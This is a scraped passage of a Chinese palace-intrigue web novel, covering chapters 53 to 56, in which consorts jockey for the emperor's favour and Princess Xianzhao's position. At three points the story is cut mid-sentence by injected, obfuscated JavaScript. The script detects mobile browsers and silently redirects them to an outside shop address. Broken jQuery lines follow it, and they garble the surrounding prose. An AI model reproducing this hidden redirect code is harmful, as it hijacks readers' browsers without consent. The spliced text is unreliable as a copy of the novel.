翊坤宫中，德伦依礼用膳少许后便静坐床头，面颊绯红，羞涩地等待着陛下的到来。
随她一同入宫的婢女进柠性情与她相近，多年来相伴左右，情谊深厚。
见此情景，进柠忍俊不禁调笑道：“娘娘今日艳丽绝伦，妩媚动人，天下男儿见之定当驻足不前，甘愿拜倒在娘娘的石榴裙下。”
德伦手心渗出冷汗，面容却异常潮红。
她紧攥着衣襟，眼中闪过少有的茫然，全然不见往昔的嚣张气焰。
“进柠，你说陛下今日会去哪儿呢？定不会去找那个祥妃的是吧？”
“自然。贤妃娘娘您国色天香，陛下身为男子，怎会偏爱那位姿色平平的祥妃。您无需多虑，‘祥’字封号乃是陛下随意取之，怎能与‘贤’相较，可见陛下对您的偏爱非同一般。”
“对，我……”德伦话语一顿，随即挺直腰身，嘴角勾起明媚而张扬的笑，“本宫身为四妃之一，如今宫中无皇后，仅余一位常在与两名答应。
今夜之后，宫中事务必将由本宫执掌。到那时，看谁还敢轻视本宫无兄弟依靠。本宫一人，足以胜过万千男儿。”
言毕，她眼神骤冷，“至于南门鸢，那等小人躲在醇亲王府里，不知在背后如何诋毁本宫。待本宫彻底掌控后宫，定让她好看……”
她独自在那儿说着，进柠的脸色却略显凝重。
自家姑娘的性子她是知晓的，现下既已离府入宫，便不能再像以往那般任意妄为，需多为家族考虑。
待她终于发泄完毕，进柠连忙劝慰，“今日所言仅奴婢一人知晓，娘娘日后务必小心行事。还有……宫中掌权之事，万万不可提及，娘娘切记于心！”
“为何？”德伦漫不经心，抚摸着染了蔻丹的指甲，“本宫身为后宫之尊，又是陛下宠妃，掌权本是分内之事。
你不必这般谨慎。本宫提及此事自是有分寸，不会直言不讳。本宫岂是那等鲁莽之人？”
“娘娘！”待她说完，进柠方加重语气，压低声音道：“奴婢已打听清楚，因陛下初登大宝，后宫不丰，现下宫中事务多由贤昭公主主持……”
“贤昭公主！”
德伦忆起往日恩怨，不由自主地抚上隐隐作痛的脸颊，“那日回府后，本宫向父亲哭诉许久，却未料父亲竟让本宫忍气吞声。事后也未曾深究，此事便不了了之。
这贤昭公主虽看似在宫中无所作为，任由太后欺凌，实则声望颇高，不可小觑。”
“娘娘若已明了，那便是极好的。毕竟她是太祖皇帝唯一存世的血脉。奴婢斗胆直言，即便贤昭公主真有篡位之心，世间对此的议论也必将分为两派。故而，万万小心！”
“她真有这样大的能耐？女子能称帝？这简直是前所未有，莫不是在戏言？”
“奴婢不过是言过其实罢了。女子理应相夫教子，细心打理内宅事务，为夫君解忧，怎可奢望登基为帝，处理国事。若贤昭公主真能登基，也定会被朝臣催促诞下子嗣，而后……”
言及此处，德伦心中稍安，“你的心意，本宫已全然领会。本宫身为后宫之主，就算不刻意争取，终有一日，这后宫大权亦将尽归本宫手心。”
进柠闻言欣慰一笑，“娘娘明白便好。其余皆是过眼云烟，眼下最为关键的，乃是平安诞下龙嗣。”
“正是，药已服下，今夜若陛下能来，本宫便有九成把握。”德伦抚摸着腹部，笑容中满是自信与得意。
＆
乾清宫内烛火辉煌，光影摇曳。
萧墨凌面容严峻地端坐其间，不言苟笑，手中朱笔疾书如飞。
一旁的大太监瞥向窗外夜色，暗暗叹息，轻声细语地劝道：“陛下，时至戌初，今日新纳的两位宫妃正候着，依礼数，您应择一处前往探望。”
“再等等。”萧墨凌未抬头，专注于案头的奏折。
“陛下今日辛劳，晚膳又少，实应早些安歇。”大太监再次提醒。
一个时辰悄然流逝，萧墨凌无论怎样抗拒不愿，亦难逃今夜。
他紧紧握着朱笔，终是愤然，将其狠狠掷于地上。
地板上几点鲜红的墨渍突兀显现。
他猛地仰靠于椅背上，双手握着扶手，眼帘低垂，语气中透着不耐，“太后所选的二人心性皆是不堪，朕怎么宠幸她们？思之便觉索然无味，还不如府邸时的常在与答应。”
“是，奴才明白。”大太监声音谦卑，“陛下常与公主殿下相伴，对那些容貌艳丽却骄横之人，自然有所不喜。”
“艳丽？”萧墨凌不悦地瞥了他一眼，“嚣张跋扈岂能与艳丽相提并论。”
“哎呀，是奴才失言。‘艳丽’一词，应是形容往昔红衣飒飒的公主殿下，怎可随意用于粗俗之辈。”
“哼，你是说朕的后妃粗俗？”
“奴才怎敢，陛下切莫误会，奴才只是据实而言。”
一番插科打诨后，萧墨凌的心情略有好转。
他目光落在御案简朴的茶具上，问道：“宁安宫今日有何动静？”
大太监笑吟吟地回答：“国公爷安排的暗卫，太后已有所察觉。
但此事微末，太后并未放在心上。据奴才所知，因宫中即将有喜事，宁安宫的下人皆得了赏赐，宫中一片喜庆。公主殿下除忙于宫中事务外，便是在殿内阅读话本。”
“……她果真一点儿都不在意。”
大太监故作不懂地避开话题，环顾四周，似有心无意地道：“说来也奇，太后对陛下的安全极为上心，凡陛下常涉足之处，皆由太后亲信暗中守护。虽未言明，但陛下睿智，心知肚明。
奴才愚钝，不解为何国公爷派遣的暗卫在别处受阻，唯独在宁安宫内，竟如入无人之境？依奴才浅见，太后或许并未在此设防，宁安宫的安危，还需陛下多加留意啊！”
此言一出，萧墨凌即刻端坐，陡然回首，目光深邃地直视他，“你之意，莫非太后因忌惮沁澜身上流淌的纯正血脉，欲借朕之手，亲自根除隐患？”
“哎呀，奴才没读过书，哪懂这些。陛下能有此等洞察，真是让奴才佩服不已！”
这无异于默认了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13450658|135826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>萧墨凌从未曾料到这一层，想是这等重要的情报，乃父亲所遣暗卫偶然探得。
这样便更有趣了。
历经四年，太后对沁澜的忌惮依旧未减，足见朝中臣子对太祖皇帝的敬仰之深。
太后准许自己探查宁安宫所有事务，实则是默许自己接近沁澜，自由行事。
若自己与沁澜育有皇子，何愁天下百姓与朝臣不归心？
答案不言而喻！
萧墨凌心境顿时豁然开朗，他整理衣襟，“那绝子药，可曾让她们二人服下？”
大太监含笑回应：“陛下言重了，此类事前所未有，老奴可从未听说过。”
“好。”萧墨凌起身淡淡道：“既然太后有意削弱外戚势力，朕便遂了她的愿。在沁澜册封为后之前，且让兴安伯等外戚风光几日吧。”
“陛下圣明。”大太监满脸笑意，又似不经意间提及：“奴才虽未亲见二位娘娘，但闻贤妃娘娘姿色绝艳，祥妃则清雅脱俗，面容温婉。尤其是那双明眸，望之便觉性情温婉，易于亲近。”
萧墨凌在此之前确实未见过二人，听罢不由驻足问道：“你可知欺君之罪？”
大太监慌忙俯身请罪，“哎呦，奴才岂敢有丝毫隐瞒？今日献礼之际，奴才的徒弟不慎冲撞了娘娘凤颜，现已受罚五十大板。”
“清丽脱俗？”
“正是，秀雅如兰，虽不及公主殿下那般仙姿玉貌、超凡脱俗，却也丽质天成，自有一番韵味。”
“论及出身与品行，她自是无法与沁澜相提并论。”萧墨凌沉思片刻后吩咐，“今夜前往何延禧宫。”
“是。”大太监连忙应道，开启殿门，拂尘一扬，拖长尾音高声宣告，“摆驾延禧宫——”
消息迅速传开，不久便已抵达。
祥和县主正对镜梳妆，闻讯后展露笑颜，好似一切尽在预料之中，那双杏眼更显圆润清澈，无辜动人。
她从容起身，“去吧，准备迎接圣驾。”
＆
翌日，天朗气清，惠风和畅，宫中重归往昔的繁忙。
昨日的火红装饰仅悬挂一日，便因着靖郡王新丧的哀愁匆匆撤下。
萧沁澜今日起了个大早，一反常态地换上了华丽的紫色宫装，精心装扮后，在本采的搀扶下步入慈宁宫。
新帝勤勉治国，新纳二妃也未荒废朝政。
太后听政完毕，适时下朝，恰逢宫娥们将丰盛的膳食送入慈宁宫。
萧沁澜时机把握得恰到好处，行礼之后，便见太后亲切地招呼她坐下，二人共享了一顿热腾腾的早膳。
饭后宫中收拾整洁，散了气味，太后端坐于凤榻之上，品着解腻的香茗。
“母后……”萧沁澜轻声唤道，将提前准备的礼物交由她长眼，神色略显不安，“两位新皇嫂初入宫闱，今日得以相见。不知这簪子与手镯是否适宜相赠？”
明远太后放下茶盏，浅笑瞧着她，“贤昭作为晚辈，本该是你的嫂嫂们向你赠礼，怎能让你破费呢？”
“哦……”萧沁澜慢悠悠收回手臂，垂首低眉，“原来如此，是儿臣疏忽了宫中的规矩，让母后见笑了。”
“这怎能怪你。”太后叹了口气，“都是母后的疏忽，此类事情未曾有过先例，我未能及时派人指点于你。”
太后招手示意她坐下，“好孩子，别往心里去。你要记得，你始终是这宫中最为尊贵的公主……”
话音未落，殿外传来宫女的禀报声：“启禀太后，新入宫的妃嫔们特来慈宁宫，向太后请安。”
54. 那点狗屁宠
“太后娘娘金安。”
贤妃与祥妃一前一后步入慈宁宫，恭敬行礼。
明远太后笑容浅淡，语气带着暖意，“免礼，起来吧，你们昨夜想必辛苦了。琉薇，为两位娘娘备座。”
“多谢太后娘娘恩典。”
一番例行公事的客套、谢恩完毕，二人在宫女的搀扶下，端庄地坐于圈椅之中。
明远太后在凤榻上斜斜依着，神态自若慵懒，“听闻昨夜，皇帝是宿于延禧宫的？”
“是。”祥妃举止得体，仪态落落大方，不卑不亢，眼神始终垂下三分，“臣妾有幸得陛下眷顾垂怜，因贪恋床榻，今早用过早膳方至，望太后恕臣妾迟来之罪。”
萧沁澜静默不语，只专注拨弄着手中暖炉。
短短两句话却有三层深意，一是暗戳戳的炫耀，二是藏着试探与微妙的提醒警告。
且“垂怜”一词用得精妙，即体现了外戚的身份立场，又传达了皇帝……或许是自己不满太后干政的心意。
看来昨夜的温柔乡，萧墨凌颇为享受。
明远太后与前朝狡黠老臣斗智斗勇四年之久，自然知晓她的言外之意。
她淡然一笑，未予接应，“无碍，哀家偏爱清静，加之新皇登基不久，前朝事务纷扰，尚需哀家亲自指导些时日。自今日始，除却年节庆典，便无需再至慈宁宫请安了。”
这便是明晃晃的打脸，直截了当告诉她们，那些外戚算个什么东西。
祥妃到底年纪轻，眉翠含颦，转瞬立即回神，低头轻笑，“太后娘娘国事繁重，臣妾怎敢频添烦扰。实不相瞒，臣妾初入宫廷，所遇皆是些琐碎小事，虽不繁复，却也繁琐，确需时日适应学习。”
萧沁澜听罢，目光深邃地审视了她一番，几不可查。
从初时的挑衅到如今刻意表露忠诚，看似是对协理六宫之权不甚在意。
莫非这位祥妃意在塑造自己直率无城府的形象？
入宫仅次日，便急于拉帮结派，实在急切了些。
果然如调查所示，祥妃是有心计，却难掩被家族宠爱骄纵的性子，那点小聪明简直不值一提。
无趣！
萧沁澜抚弄着鬓边垂落的步摇，略显繁琐的头饰让她脖颈略感不适。
明远太后斜睨着她那不经意的姿态，嘴角轻扬，悠然自得地剥着橘子，“宫中与伯爵府天差地别，需要学习的礼仪不止老嬷嬷所授。祥妃有此等心思，难能可贵，哀家甚感欣慰。”
话音刚落，祥妃微扬细眉，笑意更浓，“太后娘娘谬赞，臣妾实不敢当，日后定当勤勉学习，不负所望。”
逗了一会儿露爪子的小猫，明远太后将剥好的橘子递予对面，仿佛闲聊家常般随意说道：“自明昭王朝安定以来，兴安伯便鲜少露面于朝堂。每每来乾清宫亦是缄默不言。贤妃，你父亲近日身体可好？”
女子出嫁总盼得遇个温柔夫君，能得专宠，处处呵护，使自己的恩宠独树一帜，甚至是独一无二。
最可怕之处莫过于夫君对自己的忽视。
一夜灯火通明、苦苦守候，贤妃今日眼下青黑一片，眼神黯淡无光。
尽管容颜因着年轻依旧艳丽非凡，但脸上白粉过厚，多显憔悴，任谁都能看出她的疲惫。
反观祥妃却是一脸春色，清丽脱俗的容颜宛如初绽桃花，更添了几分柔情与怜爱。
二人方才一路暗自较劲，而祥妃一句“疲累，让姐姐先行”，让贤妃本就脆弱的心志更加敏感。
初至慈宁宫，目睹太后与那个贱人谈笑风生，贤妃神情愈发恍惚。
太后威名在外，她却不知如何插话，只觉得自己笨拙不堪。
贤妃不停地搅动手中的帕子，低垂着头，目光空洞地盯着宫装上精致的图案。
“贤妃……”
“……啊？”
首位好似有人在唤她。
贤妃胳膊突然被身后的进柠触碰，她这才回过神来，一脸茫然地抬起头，目光迷茫地直视着太后。
明远太后见她这样，轻叹一声，语重心长地道：“陛下日理万机，政务繁忙，上朝理政又需学习诸多事务，稍有差池便可能累及百姓。
而今后宫之中，唯你与祥妃为重，其余皆不足挂齿。
兴安伯多年修身养性，已鲜少参与朝政，陛下或许只是暂时未念及。”
“是……”贤妃声音中带着哽咽，稍得安慰眼眶便泛红，“多谢太后娘娘体恤，臣妾明白了。”
稍顿片刻，她仿佛找到了依靠，一股脑儿地将心中委屈与所思所想倾吐出来，“臣妾深知陛下赐臣妾贤妃之位，自是心中有臣妾。
陛下身负重任，白日忙于国事，自然难以周全顾及臣妾。皆是臣妾心胸狭隘，未能及时领悟。
幸得太后娘娘今日点拨，臣妾方如梦初醒。日后定不负陛下厚望，担起后宫之责，为后来姐妹树立典范……”
这番话似触动了她内心某处，竟滔滔不绝，言及了大不敬之语都不自知。
在场众人神色各异，连她身后的宫女也面露愕然惊恐。
明远太后并未制止，亦无心倾听这些醋意满满的琐碎言辞。
她将手中珠串置于桌上，“啪嗒”一声脆响，在这静谧的殿内显得格外清晰，瞬间打断了那字字聒噪。
太后道：“淑妃心怀宽广，能有此番领悟确是好事。宫中事务现由贤昭掌管，这是皇上亲定。淑妃只需尽心治理自己内廷，剩余首要之事便是细心调养身体，以为我明昭王朝绵延皇家血脉，传承万年基业。”
淑妃闻言即刻噤声，满脸感动地起身行礼，“臣妾领旨，定当谨遵太后娘娘教诲，悉心保养，为陛下，更为明昭王朝之昌盛绵延子嗣。”
……
此话一出，屋内顿时陷入一片诡异的沉默。
萧沁澜刚咽下一口橘子，就被这突如其来的自信噎得说不出话来，橘子卡在喉咙间，差点令她窒息。
好……好蠢！？
世间百态真是无奇不有，奇葩之事层出不穷，今年尤甚！
明远太后不愧是历经风雨之人，她迅速回过神来，似笑非笑地让她入座，聊起了家常。
不知提起什么，祥妃骤然将话题转向了萧沁澜。
“臣妾往昔深居简出，鲜少与外界接触。只闻贤昭公主骑射皆精，兵法时计无所不通。
臣妾原以为这般才情与胆识兼备的女子，定当艳丽非凡、英姿飒爽。未曾想今日得见贤昭公主，即便是身着宫装依然仙姿绰约，气质淡雅脱俗，宛若不食人间烟火。
真是让臣妾心生羡慕。”
明远太后闻听此言，只是微微一笑，并未多加掺和。
淑妃还记得萧沁澜此前对自己的狠厉巴掌，神色愤恨地撇了撇嘴，亦未搭腔。
萧沁澜扫了她一眼，执起手帕优雅拭去指尖微尘，嘴角挂着温婉笑意，“本宫承蒙母后教诲，曾垂帘听政三载，又时常领军夜袭、刺探敌情。
若无些许坚韧不拔，恐怕早已伤痕累累，何能安坐此处，与祥妃娘娘共叙风月？”
寥寥数语，便让祥妃哑然失语。
她目光幽深，凝视着上位那遥不可及的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13466018|135826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
身影。
果然好心性，深居简出不过是自己客套之语，不料反被她轻飘飘挑回，并隐晦指责自己安逸度日，更讽刺自己浅薄，仅知晓争宠斗艳。
垂帘听政三年！
好大的能耐，就算不言不语，仅是于珠帘之后静观，所学所悟亦非庸人所能及。
难怪陛下对她情有独钟！
难怪萧氏无子嗣承继，朝臣亦全力辅佐，多无异心！
看来不仅是太祖皇帝威严深厚，这贤昭公主立下的赫赫功劳，同样深得臣子们赞誉。
现下情势暂时落花有意，流水无情。
可这样德才兼备且身份尊贵的女子，若真成为皇后，必将引来太后的特别关注与陛下的无限宠爱。
到那时，宫中怎会有她的立足之地。
就连提前诞下皇子，未来亦非一片坦途。
她沉默不语，陷入深思。
萧沁澜见状，并未继续为难。
此次进贡的橘子格外香甜，想当年行军作战，前朝余孽及外族侵扰不断，能有一餐温饱就非常属难得。
这种纯天然无公害的绿色食品，她才享受了短短四年啊，太亏太亏！
得继续活着！
萧沁澜纤眉舒展，悠悠然的剥着橘子，细细品味，不急不躁。
吃了哑巴亏，加之又初入宫闱，陛下对她有所偏袒，祥妃虽心有不甘，却不敢公然反驳。
想要在宫内顺风顺水，还是要谨慎行事，不可胡乱树敌。
祥妃语气柔和，明亮的眸子波澜不惊，转而聊起家常，“每年南方进贡的橘子皆颇受好评，臣妾向来偏爱这些。冬日闲暇之时，翻阅女戒、女德一类书籍，佐以汁水饱满的鲜果，内心倍感宁静平和。”
听到这里，淑妃终于找到了切入点，她冷笑一声，眉眼间尽是讽刺与嘲弄，直言不讳，
“妹妹出身尊贵，承蒙太祖皇帝庇佑，得以享受此等安逸。
臣妾则不然，记得凉州雪灾那几日，本宫夜不能寐，满心忧虑百姓受苦，衣食无着。
幸而靖亲王心怀天下，仁慈有德，方使凉州之灾得以化解。然而……
唉，靖亲王新逝，兴安伯爵府上下连日茹素，丝毫不敢懈怠。
反观妹妹，生活倒是安逸。”
“姐姐此言差矣。”
祥妃心平气和，不气不恼，“若非太后娘娘与陛下圣明，及时制定策略应对凉州雪灾，靖亲王又怎能顺利解困？
众多百姓能安然度过难关，非一人之力所能及。
姐姐常外出游历，家中又无父兄在朝，对朝中事务不甚了解，亦是情有可原。”
淑妃正要发作，却下意识望向首位，强忍着怒火与冲动，勉强挤出两丝苦笑，才不甘心地反驳道：“妹妹对朝中局势倒是洞若观火。”
后宫生活乏味，也许久未有这般生机勃勃了，萧沁澜乐得看戏，还忍不住接了一句，“皇嫂们个性鲜明，皇兄能娶得二位真是好福气。母后果然慧眼识珠。”
明远太后淡淡扫了眼天色，随口道：“兴安伯与庆南伯之女，自然不会差。”
身旁的琉薇心细如发，见她动作主动提醒道：“太后，今日奏折堆积如山，还约了太傅及其他几位大臣在乾清宫议事，是时候启程了。”
“嗯，国事为重。”太后点头，吩咐琉薇将备好的见面礼赠予二人。
那礼物极尽珍贵，二者难分伯仲。
二人欣然接受，正欲行礼。
却在此时，萧墨凌掀帘而入，笑着问道：“何事如此开心？不妨说与朕听听。”
55. 第 55 章
早膳结束后，又闲聊了近小半个时辰，如今已是巳时，确实耽误了政事。
也不知萧墨凌听到了何种消息，竟难得放下那堆满乾清宫的奏折，来到慈宁宫内。
行礼客套之后，众人依照原位再次落座。
明远太后瞧着下方贸然前来之人，神情自若，仿若早已预料到一般，嘴角挂着浅淡的笑意，关切询问：“皇帝今日难得有空闲，偶尔休息对身体大有益处，早该如此。”
“母后说得极是。”
萧墨凌颔首笑道，继而话音一转，意有所指道：“不过今日特意前来并非享乐，乃是有一处政务拿不定主意。母后此前经验丰富，故而特来请教。”
他看向凤榻一侧，“未曾料想，会恰巧在此遇到贤昭。仔细算来，朕与贤昭也有许久未见了。”
方一开口便将话题引到自己身上，全然不顾身后泪眼婆娑的淑妃，以及低头沉思的祥妃，显然是故意为之。
萧沁澜没有拂他的面子，笑盈盈地回道：“皇兄政务繁忙，事事为万民考虑，怎敢打扰。
此次出宫见识良多，亦听闻了许多。京师百姓对皇兄英明神武无不夸赞。贤昭每每听到，便觉感慨万千，且与有荣焉。”
“喔，贤昭在感慨什么？”萧墨凌眼神一瞬不瞬地望着她，慢条斯理，那认真的神情似要打破砂锅问到底。
自进屋以来，他只与太后说了句恭维话，两个妃嫔是理都未理。
萧沁澜本想随意胡言一番，揭过他的提问，却未想到他竟越说越来劲。
不就是想在宫内听些好话吗，她胡诌一些便是了。
“京师阡陌，灯影重重。皇兄立于高处，却未曾俯视尘寰，反而将百姓放在心间，解其艰辛，听其哀吟。
即便是那遥远陌生的千里之外，皇兄亦能第一时间想出对策治民痛、闻泣息。这朝野上下、京师大小的众人，对皇兄无不信服。”
“是吗？”萧墨凌神情舒缓，身姿后倾，慢悠悠地反问一句，而后又道：“凉州雪灾，并非朕一人下的决定，母后高瞻远瞩，且经验丰富，也在其中帮了大忙。”
“是，母后自是高瞻远瞩，教授有方。”萧沁澜不卑不亢，回首垂眸，“儿臣此次出宫，同样听百姓谈起母后的聪慧与圣明，这才知晓治理朝政竟尤为苦辛。”
听罢此话，萧墨凌心里一暖，注视她的神情越发怜爱。
明远太后意味深长地看了她一眼。
这话说的巧妙，既不提皇帝并无实权，自己将他当个傀儡，还暗戳戳地抬高皇帝身价。
男人嘛，皆爱听些毫无实用的甜言蜜语，不堪一击，不堪烦心。
太后笑着回应，“贤昭实在谦虚。此前你可没少立过战功，大大小小的，加在一起也甚有数量。这些皇帝一直都知晓，你啊，现今是愈发稳重平和了。”
此话一出，往日种种仿佛重现脑海，萧墨凌收敛神色。
差点忘了，以往的沁澜是如何夺目耀眼，智慧、才能、身手、胆量皆不输男子。
可就是这样的沁澜，却为了他的面子与心情，特意软了话语。
宫内冷清，无贴心之人相伴。
沁澜她……
已变得稳重、平和？
念及此，萧墨凌抬眸望向首位，眼中泛着淡淡深情，嘴角荡漾着丝丝笑意，似漫不经心地开口，
“犹记得贤昭昔日性情如火，而今确是端庄持重，行事大方了许多。如此庞大的宫闱，众多的宫人，要使其按部就班，管束起来实属不易。贤昭却将宫内事务打理得井井有条，未曾有丝毫变故。”
明远太后点了点头，接过话茬，“确是如此。哀家仅在明昭王朝初立时管过数月，琐碎无比，加起来实在头疼。也是因此便交给了贤昭，由她打理。未曾想数年过去，宫内竟整齐有序。
皇帝啊，依哀家看，淑妃与祥妃初入宫闱，还需多多适应这宫内繁琐之事……”
“母后所言，正是朕之所想。”萧墨凌面色不变，“贤昭聪慧，便先由她继续管着。待日后宫内有了端庄持重的皇后，再放手亦不迟。”
二人一唱一和，此事便板上钉钉，未给其他三人留下半分反应的余地。
这话下蕴含的深意，萧沁澜怎会不知。
只是她未曾想到，太后竟会铁了心早早地提及，完全不留缓和的余地。
她面色如常，依旧保持着那副恬淡从容之态，笑着应承下了这桩苦差事，还顺带着抱怨一番，催促萧墨凌与太后尽快选定皇嫂人选。
鉴于国事繁杂，陛下又是特意前来请太后前去协理，几人仅是依照规矩行了请安之礼，不敢多加耽搁。
简短闲聊几句后，便齐齐告退返回宫中。
＆
延禧宫内碳火熊熊，屋内温暖如春，不见一丝寒凉。
因昨夜皇帝亲临，被挑选而来侍候的宫娥、太监们皆干劲十足，即便主子不在，也无片刻耽搁。
祥妃甫一归来，便挥退众人，只留下陪嫁的嬷嬷与大宫女。
她今日装扮，比之在家时更为华贵。首饰虽素净，却并不寡淡。
挨个取下首饰，任由大宫女梳了个寻常发髻，她把玩着太后赏赐的物件，冷嗤一声，“慈宁宫内的谈话，你们可都听到了？”
嬷嬷听罢叹息一声，“京师之中多有传言，现在的陛下、醇亲王，都对贤昭公主情有独钟。就连太医院院使的嫡子也对殿下多有照顾。今日一番请安下来，依奴婢看，此类种种确非虚言。”
“何止非虚，陛下方才不是说了，还想要将贤昭公主纳为皇后，继续执掌宫中大权，一人之下，万人之上呢。”
说罢，祥妃自嘲地笑了笑，“朝野上下本就属意明昭王朝的皇帝由嫡公主所出，若她真做了皇后，就算本宫提前诞下皇子，又如何争得过？怎有机会去争？”
话虽丧气，却是实情。
大宫女梳发的动作愈发谨慎。
“落花有意，流水无情。”
嬷嬷劝慰道：“今日慈宁宫内之事，老奴亦在场。虽不敢自夸洞察入微，但依奴婢之见，贤昭公主对陛下未必有情。
若真真的有情，只要她稍一开口，宫中哪会儿再有什么淑妃。那些潜邸时的旧人，也得不到常在之位。”
言虽粗，理却正，祥妃并非听不得真话，反而偏爱这等直言。
她将手中簪子重重掷于桌上，听着那清脆声响，神情中多了几分不耐，
“女子自当矜持。无论嫁与何人，皆由父母之命，媒妁之言。天家公主更难逃脱这类宿命。太后未提，陛下未言，纵使贤昭公主有千千万万心结，亦不敢贸然提出。
况且今日她对本宫的不敬，你也亲眼所见。她不是淑妃那般愚钝之人。就连本宫都听出了太后话中之意，她怎会一无所知。”
“娘娘，既来之，则安之。人生漫长，世事多变，谁又能确保以后会发生何事呢？”
嬷嬷上前一步，笑着看向她的肚子，“无论将来皇后是谁，娘娘都要
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13482433|135826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有自己的皇子，这才是眼下最该操心之事啊！”
“对。”祥妃忍不住摸向腹部，“今夜陛下定不会前来。但册封皇后一事重大，淑妃既无本事，长相又不如陛下心意。这长子的位置，本宫要定了！”
＆
“啪——”
“噼里啪啦——”
翊坤宫内，巨大的骚动与响声震耳欲聋。
淑妃砸了能见到的所有瓷器摆件儿，待那怒气稍减，方气喘吁吁地坐在贵妃椅内，紧紧抓着扶手，胸口起伏不定。
殿内无处下脚，自昨夜至今，被分配来的一众宫娥、太监皆战战兢兢，如临深渊，齐刷刷跪在殿外，大气都不敢出。
待她不再打砸，进柠方才上前，轻轻拍着她的后背，柔声劝解道：“娘娘莫要生气，翊坤宫乃陛下特意吩咐……”
话未说完，淑妃登时怒气冲冲打断她，“什么特意吩咐，明明是让内务府随意操办的。若此地真是陛下特意做主，那他怎地连看本宫一眼都不愿。
慈宁宫内整整一刻钟啊！陛下一句话都未曾与本宫说！一个眼神，哪怕是余光都未分给本宫。”
她越说越委屈，眼中薄雾渐起，忍不住吸了吸鼻子，“陛下临走的时候，除了扶起贤昭公主，都未触碰本宫一下。你去问问这满院下人，他们心里是如何编排本宫的！”
“娘娘啊，他们皆是些卑微的奴才，哪里敢违抗您的意思呢！”
进柠再次轻拍她的后背，语气更加柔和，“娘娘切莫钻牛角尖。今日在慈宁宫内，陛下同样未曾搭理过祥妃。
娘娘位分虽高，但庆南伯亦是外戚。由此可见，昨夜陛下前往延禧宫中，只是为了安抚庆安伯，并非出于心甘情愿。”
“是吗？”听到此，淑妃的情绪才算平稳些许，“可陛下并未理会本宫啊！”
绕来绕去，这才是她最为挂怀之事。
她对自己的容貌向来自信，进柠也深知她的傲气。
“陛下日理万机，尚未有机会见娘娘一面。况且宫中太后掌权，娘娘若要吸引陛下的目光，便需收敛往日的脾性，协助陛下早日独揽政务。”
“你是说……”淑妃还算聪慧，沉默良久后恍然大悟，“陛下的心思并不在后宫？”
“……正是。”进柠无声地叹了口气，但话中的意思总归是大同小异。
“好！”淑妃眼神陡然变得锐利，“本宫定会使尽浑身解数，好好侍候陛下。”
说罢，她忽然看到什么，顿时起身，眼神微眯，“那几个宫女，身姿倒是婀娜，想必也是美人。”
“不可啊娘娘！”进柠大着胆子拽回了她，费心劝慰道：“宫中不比宫外，有太后盯着，娘娘可千万要收敛心性，莫要被太后找到把柄，让陛下厌弃。”
“是，男子皆不喜后宅女子争风吃醋。”淑妃俯视着那几道绰约多姿的身影，冷笑道：“本宫明白，明面上，本宫自然会注意。”
“娘娘，这些宫女不足为惧，现下最最要紧的，却是宁安宫那位贤昭公主！”
“你的意思是要本宫夺回管事权？”淑妃拍了拍她的手背，安抚道：“放心，如今才刚刚开始，本宫自有分寸。”
“娘娘，不是这个，陛下对贤昭公主……”
“宽厚有爱，本宫看得出。近端时日不宜提起管事权。”
淑妃摆了摆手，回到寝殿内，“今夜陛下会来，你先行收拾妥当，本宫当养好精神，好好侍候。那碗药记得提前熬好，本宫需早些沐浴。”
56. 第 56 章
天色灰蒙蒙一片，寒云低垂，沉沉如铅，寒风穿梭于雕梁画柱间，发出“呜咽”般的低吼。
时已傍晚，日华隐匿，欲落未落。
廊下值守的小太监神情凝重，望着风雪欲来的天色长吁短叹。
宁安宫内众暗卫神情同样肃穆。
本采端来刚煮好的羹汤，盛了一碗递上前去，“小厨房新做的，主子尚未用晚膳，还是要注意身体。”
萧沁澜伸手接过，缓缓搅动着羹汤，袅袅热气缭绕眼睑。
瓷碗微烫，她缩了缩指尖，将碗置于案几上。
见她滴水未进，本采愈发心疼，柔声细语地劝道：“太后娘娘虽有意为主子做主与皇帝成婚，但终究不敢轻易开口。此事若要办成那是万万草率不得的。主子莫要太过忧虑，身体为重啊……”
“在想什么呢？”萧沁澜轻笑出声，身子微倾，点了一下她的脑门，“陛下想让本宫做皇后，他还没这么大福气，也没这个本事。”
得知主子应对自如，一派胸有成竹之态，本采心中稍安，“那主子今晚为何拒食？”
“唉……”萧沁澜抚着胸口侧过身去，待饮下一口助消化的羹汤后，方才挑眉，调侃道：“今日你从晨光初照至夜幕低垂，始终跟在本宫左右，难道不知本宫为何吃不下？”
“主子今日先是于慈宁宫中侍奉，午后淑妃与祥妃又相继前来言谈，莫非是因她二人愚昧无知，被气着了？”
“是，本宫此刻倒是被你气到了了。”
